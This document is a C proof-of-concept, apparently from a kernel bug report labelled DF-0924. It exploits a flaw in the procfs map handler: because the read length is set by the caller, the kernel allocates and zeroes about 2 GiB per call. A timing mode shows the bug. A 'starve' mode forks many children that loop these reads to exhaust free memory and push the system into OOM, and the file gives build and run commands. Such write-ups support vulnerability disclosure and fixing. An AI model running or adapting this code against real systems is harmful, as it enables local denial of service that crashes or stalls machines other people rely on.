DF-0924 / alloc_dos.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 | /* * alloc_dos.c - DF-0924 PoC: attacker-controlled kernel heap allocation * size via read() resid in /proc/<pid>/map. * * procfs_domap() at sys/vfs/procfs/procfs_map.c:61 computes * buflen = uio->uio_offset + uio->uio_resid * and (after the >= INT_MAX guard at :75) does * sbuf_new(sb, NULL, buflen+1, 0) * which, with flag 0 (no SBUF_AUTOEXTEND), makes sbuf_newbuf() at * sys/kern/subr_sbuf.c:197 do an up-front * s->s_buf = kmalloc(s->s_size, M_SBUF, M_WAITOK|M_ZERO) * of the attacker-chosen size. uio_resid is set by the read() length, * so the caller alone decides how many bytes the kernel kmallocs up front. * * This PoC has two modes: * * --time time pread() with a small resid vs a HUGE (โ2 GiB) resid * on the same fd; the huge-resid call takes vastly longer * because the kernel must kmalloc AND zero ~2 GiB before * it can copy a few KB of actual /proc/self/map output. * This proves the size of the kernel allocation is set by * the caller's read length (the bug). * * --starve fork N children, each looping pread() with HUGE resid, * while the parent samples vm.stats.vm.v_free_count every * 0.25 s. Concurrent in-flight kernel allocations push * freemem toward zero and the system into OOM/swap-thrash. * * Build: cc -O2 -o alloc_dos alloc_dos.c * Run: ./alloc_dos --time * ./alloc_dos --starve # run alongside: vmstat -w 1 */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <string.h> #include <time.h> #include <unistd.h> #include <sys/sysctl.h> #include <sys/types.h> #include <sys/wait.h> #define HUGE_RESID 0x7ffffff0L /* just under INT_MAX -> โ2 GiB sbuf */ #define SMALL_RESID 4096 #define PATH "/proc/self/map" static double now_sec(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ts.tv_sec + ts.tv_nsec / 1e9; } static long free_pages(void) { const char *name = "vm.stats.vm.v_free_count"; unsigned int val = 0; size_t sz = sizeof(val); if (sysctlbyname(name, &val, &sz, NULL, 0) != 0) return -1; return (long)val; } static long page_size(void) { long ps = sysconf(_SC_PAGESIZE); return ps > 0 ? ps : 4096; } /* Single pread that exercises procfs_domap with a chosen resid. */ static ssize_t do_pread(int fd, long resid) { /* Only the first min(sbuf_len, resid) bytes get written to user space, so we only need a modest user buffer. */ char buf[8192]; return pread(fd, buf, (size_t)resid, 0); } static int mode_time(void) { int fd = open(PATH, O_RDONLY); if (fd < 0) { perror("open " PATH); return 1; } /* Warm the vnode so we measure procfs_domap, not first-open plumbing. */ do_pread(fd, SMALL_RESID); double t0, t1; ssize_t n; t0 = now_sec(); n = do_pread(fd, SMALL_RESID); t1 = now_sec(); if (n < 0) { perror("pread small"); close(fd); return 1; } printf("[time] resid=%-10d pread=%-6zd kernel-side elapsed=%.6f s\n", SMALL_RESID, n, t1 - t0); t0 = now_sec(); n = do_pread(fd, HUGE_RESID); t1 = now_sec(); if (n < 0) { perror("pread huge"); close(fd); return 1; } printf("[time] resid=0x%08lx pread=%-6zd kernel-side elapsed=%.6f s\n", (unsigned long)HUGE_RESID, n, t1 - t0); printf("\nThe huge-resid call returned the SAME few KB of map output,\n" "but took orders of magnitude longer: the kernel kmalloc'd and\n" "zero-filled ~%ld MiB up front (procfs_map.c:77 -> subr_sbuf.c:197)\n" "before discarding almost all of it. Caller controls the kmalloc size.\n", HUGE_RESID / (1L << 20)); close(fd); return 0; } static volatile int stop = 0; static void child_loop(void) { int fd = open(PATH, O_RDONLY); if (fd < 0) _exit(1); while (!stop) { if (do_pread(fd, HUGE_RESID) < 0) break; } close(fd); _exit(0); } static int mode_starve(int nproc, int secs) { long ps = page_size(); printf("[starve] forking %d children, each looping pread resid=0x%08lx\n", nproc, (unsigned long)HUGE_RESID); printf("[starve] peak transient kernel alloc target โ %d ร %ld MiB = %ld MiB\n", nproc, HUGE_RESID / (1L << 20), (long)nproc * HUGE_RESID / (1L << 20)); printf("[starve] page=%ld ; sampling freemem every 0.25 s for %d s\n\n", ps, secs); pid_t pids[256]; if (nproc > 256) nproc = 256; for (int i = 0; i < nproc; i++) { pid_t p = fork(); if (p == 0) { child_loop(); _exit(0); } if (p < 0) { perror("fork"); nproc = i; break; } pids[i] = p; } long f0 = free_pages(); long fmin = f0; printf(" t=0.0s free_pages=%ld (%ld MiB)\n", f0, f0 * ps / (1 << 20)); for (int s = 0; s < secs * 4; s++) { if (usleep(250000) != 0) break; long f = free_pages(); if (f < fmin) fmin = f; printf(" t=%.1fs free_pages=%ld (%ld MiB) min=%ld\n", (s + 1) * 0.25, f, f * ps / (1 << 20), fmin); fflush(stdout); } stop = 1; for (int i = 0; i < nproc; i++) { int st; /* If a child wedged in M_WAITOK kmalloc, SIGTERM may not interrupt immediately; give it a moment, then KILL. */ kill(pids[i], SIGTERM); usleep(100000); waitpid(pids[i], &st, WNOHANG); kill(pids[i], SIGKILL); waitpid(pids[i], &st, 0); } long f1 = free_pages(); printf("\n[starve] free_pages start=%ld min_observed=%ld end=%ld\n", f0, fmin, f1); printf("[starve] min free = %ld MiB (= %ld pages)\n", fmin * ps / (1 << 20), fmin); return 0; } int main(int argc, char **argv) { if (argc >= 2 && strcmp(argv[1], "--starve") == 0) { int nproc = (argc >= 3) ? atoi(argv[2]) : 4; int secs = (argc >= 4) ? atoi(argv[3]) : 8; return mode_starve(nproc, secs); } return mode_time(); } |